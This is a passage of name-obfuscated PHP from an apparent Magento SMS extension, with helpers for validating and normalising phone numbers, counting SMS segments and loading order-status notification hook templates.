number_format((float)$ibcdf76f8c9ddc330c79f805116a8bb146c43749d58457975a91d59a84d2920953badcb7365ac1f01, $i2457499363c0873527a65aa9ad19ce774bd79cbc, ",", " "); } public function moreText($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4616676bff4c07942c8542e6b4e0ccf29d473424, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d41874a76da96da0584b16b9f04de6e3f06863c83) { if($this->strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) > $ibcdf76f8c9ddc330c79f805116a8bb146c43749d41874a76da96da0584b16b9f04de6e3f06863c83): $ibcdf76f8c9ddc330c79f805116a8bb146c43749d838a72d011cf88c91dfc0040ea07c7fa8e44c6ae = $this->strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, ' ', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4616676bff4c07942c8542e6b4e0ccf29d473424, 'UTF-8'); if($ibcdf76f8c9ddc330c79f805116a8bb146c43749d838a72d011cf88c91dfc0040ea07c7fa8e44c6ae > $ibcdf76f8c9ddc330c79f805116a8bb146c43749d41874a76da96da0584b16b9f04de6e3f06863c83 || $ibcdf76f8c9ddc330c79f805116a8bb146c43749d838a72d011cf88c91dfc0040ea07c7fa8e44c6ae == 0) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d838a72d011cf88c91dfc0040ea07c7fa8e44c6ae = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d41874a76da96da0584b16b9f04de6e3f06863c83; return "<span style=\"cursor:help;text-decoration:underline;\" title=\"".$ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa."\">".$this->substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, 0, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d838a72d011cf88c91dfc0040ea07c7fa8e44c6ae)."...</span>"; else: return $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa; endif; } public function isPhoneNumber($ibcdf76f8c9ddc330c79f805116a8bb146c43749d9e76a736cd2ce866634b875b0e477fe802efd466) { return preg_match('/^[0-9]{7,18}$/', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d9e76a736cd2ce866634b875b0e477fe802efd466); } public function isTextSender($ibcdf76f8c9ddc330c79f805116a8bb146c43749d1e0ab2cc14bf21436fd5165a18812bf40da12d82) { return preg_match('/(?!^\d+$)^[0-9a-zA-Z_.]{3,11}$/', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d1e0ab2cc14bf21436fd5165a18812bf40da12d82); } public function countSms($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ibcdf76f8c9ddc330c79f805116a8bb146c43749de8d90f6313614fbb6564426c0b0cb59a0ca4cecd) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa = str_replace("\r\n","\n", $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749de8d90f6313614fbb6564426c0b0cb59a0ca4cecd) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 = $this->strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 < 71) $if295547318143e26fc7026b92d58e3d1eec229db = 1; elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 % 67 == 0) $if295547318143e26fc7026b92d58e3d1eec229db= floor($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956/67); else $if295547318143e26fc7026b92d58e3d1eec229db = floor($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956/67) + 1; } else { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 = $this->strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 < 161) $if295547318143e26fc7026b92d58e3d1eec229db = 1; elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 % 153 == 0) $if295547318143e26fc7026b92d58e3d1eec229db = floor($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956/153); else $if295547318143e26fc7026b92d58e3d1eec229db = floor($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956/153) + 1; } return $if295547318143e26fc7026b92d58e3d1eec229db; } public function prepareNumber($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a, $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbad5149cd536c7e1f814c7b3874463985a5fc9e0 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749db40be13647f8bcb177e647eb770e6ac08b117290 = 0; $i7492a7ab99a6ff1e0ae253366480ecb40a550224 = ''; $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = str_replace(array(' ', '-', '(', ')', '/'), '', $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2); if (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, '+') === 0 ) $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, 1); if (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, '00') === 0 ) $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, 2); elseif (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, '0') === 0 ) $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, 1); $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = Mage::getSingleton('magesms/exceptions')->number($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd); $ibcdf76f8c9ddc330c79f805116a8bb146c43749db8c2593511e733deb36fb6bc932a747fcf3b754c = strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2); if (isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['maps'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['maps']; else $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['maps'] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 = Mage::getSingleton('magesms/maps')->getCollection(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0->count()) { if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749db4e103fdfd1ed6cc442d5e4b10b704780717812b = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd.$ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2; $ibcdf76f8c9ddc330c79f805116a8bb146c43749da272895aa0a96c7311ddc14cd99cfde9b3e11fa0 = strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749db4e103fdfd1ed6cc442d5e4b10b704780717812b); foreach ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { if (preg_match("/^".$ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea()."/", $ibcdf76f8c9ddc330c79f805116a8bb146c43749db4e103fdfd1ed6cc442d5e4b10b704780717812b, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d45e0dbda03c5e1b049126d29f809da95d0e0aa03)) { $i7492a7ab99a6ff1e0ae253366480ecb40a550224 = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749db4e103fdfd1ed6cc442d5e4b10b704780717812b, 0, strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea())); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc155ac0a2e7d522b71a8f6aae45a2917bd596596 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getNumber(); if (($ibcdf76f8c9ddc330c79f805116a8bb146c43749da272895aa0a96c7311ddc14cd99cfde9b3e11fa0-strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea())) == $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc155ac0a2e7d522b71a8f6aae45a2917bd596596) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749db40be13647f8bcb177e647eb770e6ac08b117290 = 1; $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749db4e103fdfd1ed6cc442d5e4b10b704780717812b; break; } } } } if (!$ibcdf76f8c9ddc330c79f805116a8bb146c43749db40be13647f8bcb177e647eb770e6ac08b117290) { foreach ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { if (preg_match("/^".$ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea()."/", $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d45e0dbda03c5e1b049126d29f809da95d0e0aa03)) { $i7492a7ab99a6ff1e0ae253366480ecb40a550224 = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, 0, strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea())); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc155ac0a2e7d522b71a8f6aae45a2917bd596596 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getNumber(); if (($ibcdf76f8c9ddc330c79f805116a8bb146c43749db8c2593511e733deb36fb6bc932a747fcf3b754c-strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea())) == $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc155ac0a2e7d522b71a8f6aae45a2917bd596596) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbad5149cd536c7e1f814c7b3874463985a5fc9e0 = 1; continue; } } } } } if(!$ibcdf76f8c9ddc330c79f805116a8bb146c43749dbad5149cd536c7e1f814c7b3874463985a5fc9e0 && !$ibcdf76f8c9ddc330c79f805116a8bb146c43749db40be13647f8bcb177e647eb770e6ac08b117290) $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd.$ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2; elseif (($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbad5149cd536c7e1f814c7b3874463985a5fc9e0 || $ibcdf76f8c9ddc330c79f805116a8bb146c43749db40be13647f8bcb177e647eb770e6ac08b117290) && $i7492a7ab99a6ff1e0ae253366480ecb40a550224) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd = $i7492a7ab99a6ff1e0ae253366480ecb40a550224; if (!$ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd && $i7492a7ab99a6ff1e0ae253366480ecb40a550224) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd = $i7492a7ab99a6ff1e0ae253366480ecb40a550224; $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df = array( 'mobile' => $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, 'prefix' => $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd, 'isms' => '', 'sendertype' => '', 'senderID' => '' ); if (isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a.'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a.'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd]; else $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a.'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 = Mage::getSingleton('magesms/routes')->getCollection() ->addFieldToFilter('area', $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd) ->addFieldToFilter('type', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a); if (!is_null($ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66)) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d898347c1def9d4effdd15deb4483c4b4a4aa8ab7 = Mage::getModel('core/store')->load($ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66)->getGroup()->getId(); foreach ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df['isms'] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d['isms']; $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df['sendertype'] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d['sendertype']; $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df['senderID'] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d['senderID']; if (!is_null($ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66)) { if (isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes-alternative_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId().'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d898347c1def9d4effdd15deb4483c4b4a4aa8ab7])) $ida3b491904fb073f446bf820cd55a0ff69b347d1 = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes-alternative_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId().'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d898347c1def9d4effdd15deb4483c4b4a4aa8ab7]; else $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes-alternative_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId().'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d898347c1def9d4effdd15deb4483c4b4a4aa8ab7] = $ida3b491904fb073f446bf820cd55a0ff69b347d1 = Mage::getSingleton('magesms/routes_alternative')->getCollection() ->addFieldToFilter('route_id', $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId()) ->addFieldToFilter('store_group_id', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d898347c1def9d4effdd15deb4483c4b4a4aa8ab7); if ($ida3b491904fb073f446bf820cd55a0ff69b347d1->count()) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df['senderID'] = $ida3b491904fb073f446bf820cd55a0ff69b347d1->getFirstItem()->getTextsender(); } } } return $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df; } public function getHooks($i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6 = 'default') { if (isset(Topefekt_Magesms_Model_Hooks::$groups[$i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc]) && $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc != 'order_status') { $if739aceffec69fa2733946a3d319defaa354082d = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('lang', Mage::getStoreConfig('magesms/template/language')) ->addFieldToFilter('owner', array('neq'=>1)) ->addFieldToFilter('group', Topefekt_Magesms_Model_Hooks::$groups[$i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc]); } elseif (isset(Topefekt_Magesms_Model_Hooks::$groups[$i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc])) { $i42ee48f418943c9662de0976069476c7dc8f620d = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('lang', Mage::getStoreConfig('magesms/template/language')) ->addFieldToFilter('owner', array('neq'=>1)) ->addFieldToFilter('group', Topefekt_Magesms_Model_Hooks::$groups[$i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc]) ->getFirstItem(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd09e842bda9623afdb1b69812abe0b86eaf039c9 = Mage::getSingleton('sales/order_status')->getCollection(); $if739aceffec69fa2733946a3d319defaa354082d = array(); foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd09e842bda9623afdb1b69812abe0b86eaf039c9 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d712821c3a64ae4a252ded9f3deaaddb6e942d985) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05 = clone($i42ee48f418943c9662de0976069476c7dc8f620d); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0bd865ed0ae1ae72e839b8c033a4c0f7d84122b5 = Mage::helper('sales')->__($ibcdf76f8c9ddc330c79f805116a8bb146c43749d712821c3a64ae4a252ded9f3deaaddb6e942d985->getLabel()); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->setTemplate(str_replace('{{order_status_name}}', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0bd865ed0ae1ae72e839b8c033a4c0f7d84122b5, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->getTemplate())); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->setTemplate2(str_replace('{{order_status_name}}', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0bd865ed0ae1ae72e839b8c033a4c0f7d84122b5, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->getTemplate2())); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d712821c3a64ae4a252ded9f3deaaddb6e942d985->getStatus(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/[^a-zA-Z0-9_]/', '_', $ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/^([^a-zA-Z])/', 'x$1', $ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->setName('orderStatus'.uc_words($ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5, '')); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->setStatusName($ibcdf76f8c9ddc330c79f805116a8bb146c43749d712821c3a64ae4a252ded9f3deaaddb6e942d985->getLabel()); $if739aceffec69fa2733946a3d319defaa354082d[] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05; } } else { $i42ee48f418943c9662de0976069476c7dc8f620d = Mage::getModel('magesms/hooks'); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a == 'customers') Mage::dispatchEvent('topefekt_magesms_customersms_hook', array('hook' => $i42ee48f418943c9662de0976069476c7dc8f620d, 'mutation' => $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6)); else Mage::dispatchEvent('topefekt_magesms_adminsms_hook', array('hook' => $i42ee48f418943c9662de0976069476c7dc8f620d)); } $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array(); foreach($if739aceffec69fa2733946a3d319defaa354082d as $i42ee48f418943c9662de0976069476c7dc8f620d) { $ia61712c27ea241bd7a543dc2b02ea572274d0322[$i42ee48f418943c9662de0976069476c7dc8f620d->getName()] = $i42ee48f418943c9662de0976069476c7dc8f620d; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e = Mage::getSingleton('magesms/hooks_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a)->getCollection(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a == 'customers') $ibcdf76f8c9ddc330c79f805116a8bb146c43749d1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e->addFieldToFilter('mutation', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e->count()) { foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749d1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076->getName(); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) { $ia61712c27ea241bd7a543dc2b02ea572274d0322[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]->setSmstext($ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076->getSmstext()); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a == 'admins') { $ia61712c27ea241bd7a543dc2b02ea572274d0322[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076->getAdminId().'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076->getStoreGroupId()] = 1; $ia61712c27ea241bd7a543dc2b02ea572274d0322[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]->setActive(1); } else { $ia61712c27ea241bd7a543dc2b02ea572274d0322[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]->setActive($ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076->getActive()); } } } } return $ia61712c27ea241bd7a543dc2b02ea572274d0322; } public function hookVariablesJS($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) { if (preg_match_all('/{(.*?)}/', $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ibcdf76f8c9ddc330c79f805116a8bb146c43749da00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e)) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0933475b5bd80561a9f50282fd9eb0b8345cec4b = array(); foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749da00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e[1] as $ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0933475b5bd80561a9f50282fd9eb0b8345cec4b[$ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05] = '{'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05.'}'; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d322d20c6b1eb01ecb5d5801e003969fcc1f407a9 = Mage::getSingleton('magesms/variables')->getCollection() ->addFieldToFilter('name', array('in'=>array(array_keys($ibcdf76f8c9ddc330c79f805116a8bb146c43749d0933475b5bd80561a9f50282fd9eb0b8345cec4b)))); foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749d322d20c6b1eb01ecb5d5801e003969fcc1f407a9 as 